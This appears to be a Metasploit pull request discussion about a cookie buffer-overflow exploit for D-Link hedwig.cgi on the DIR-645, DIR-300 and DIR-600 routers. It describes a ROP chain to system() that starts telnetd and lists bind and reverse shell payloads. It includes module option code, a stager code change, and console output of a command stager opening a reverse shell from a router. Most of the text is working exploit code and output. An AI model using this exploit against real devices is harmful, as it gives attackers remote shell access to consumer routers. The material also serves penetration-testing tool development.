D-Link hedwig.cgi - Cookie bof - return to system

This is the second exploit from the advisory by Roberto Paleari (http://www.exploit-db.com/exploits/27283/). As in the module https://github.com/rapid7/metasploit-framework/pull/3385 I have created a ROP to system and this starts the telnetd.

![dlink_hedwig_cgi_bof](https://cloud.githubusercontent.com/assets/497520/3132822/8bd5fca2-e813-11e3-8fd3-a081bf87f8b2.png)

This vulnerability is not only in the DIR-645. It is also in the firmware of the DIR300 and DIR600. I think there could be other devices out there that are also vulnerable.
a) with the ARCH_CMD definition we have the following payloads:
```
msf exploit(dlink_hedwigcgi_rop_system) > show payloads

Compatible Payloads
===================

   Name                       Disclosure Date  Rank    Description
   ----                       ---------------  ----    -----------
   generic/custom                              normal  Custom Payload
   generic/shell_bind_tcp                      normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                   normal  Generic Command Shell, Reverse TCP Inline
```
With the configuration of the DefaultOptions a wrong configuration should be not the big thing. It is also mentioned in the Target section and we could take a note in the module infos.
 
```
      'Arch'           => ARCH_CMD,
      'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_bind_tcp' },
```
b) works quite good:
```
msf exploit(dlink_hedwigcgi_rop_system_echo) > exploit

[*] Started reverse handler on 192.168.178.59:4444
[*] 192.168.178.77:80 - Trying to access the vulnerable URL...
[*] 192.168.178.77:80 - Exploiting...
[*] Command Stager progress -  12.52% done (196/1566 bytes)
[*] Command Stager progress -  25.03% done (392/1566 bytes)
[*] Command Stager progress -  37.55% done (588/1566 bytes)
[*] Command Stager progress -  50.06% done (784/1566 bytes)
[*] Command Stager progress -  62.58% done (980/1566 bytes)
[*] Command Stager progress -  75.10% done (1176/1566 bytes)
[*] Command Stager progress -  87.61% done (1372/1566 bytes)
[*] Command shell session 1 opened (192.168.178.59:4444 -> 192.168.178.77:51449) at 2014-06-13 11:30:17 +0200
pwd
[*] Command Stager progress - 100.00% done (1566/1566 bytes)

/htdocs/web
```

The only problem is that the we have to modify the stager:
```
  def cmd_concat_operator
    #" ; "
    " && "
  end
```
Probably it would be a possibility to introduce a new option to the echo stager to modify it with a module option?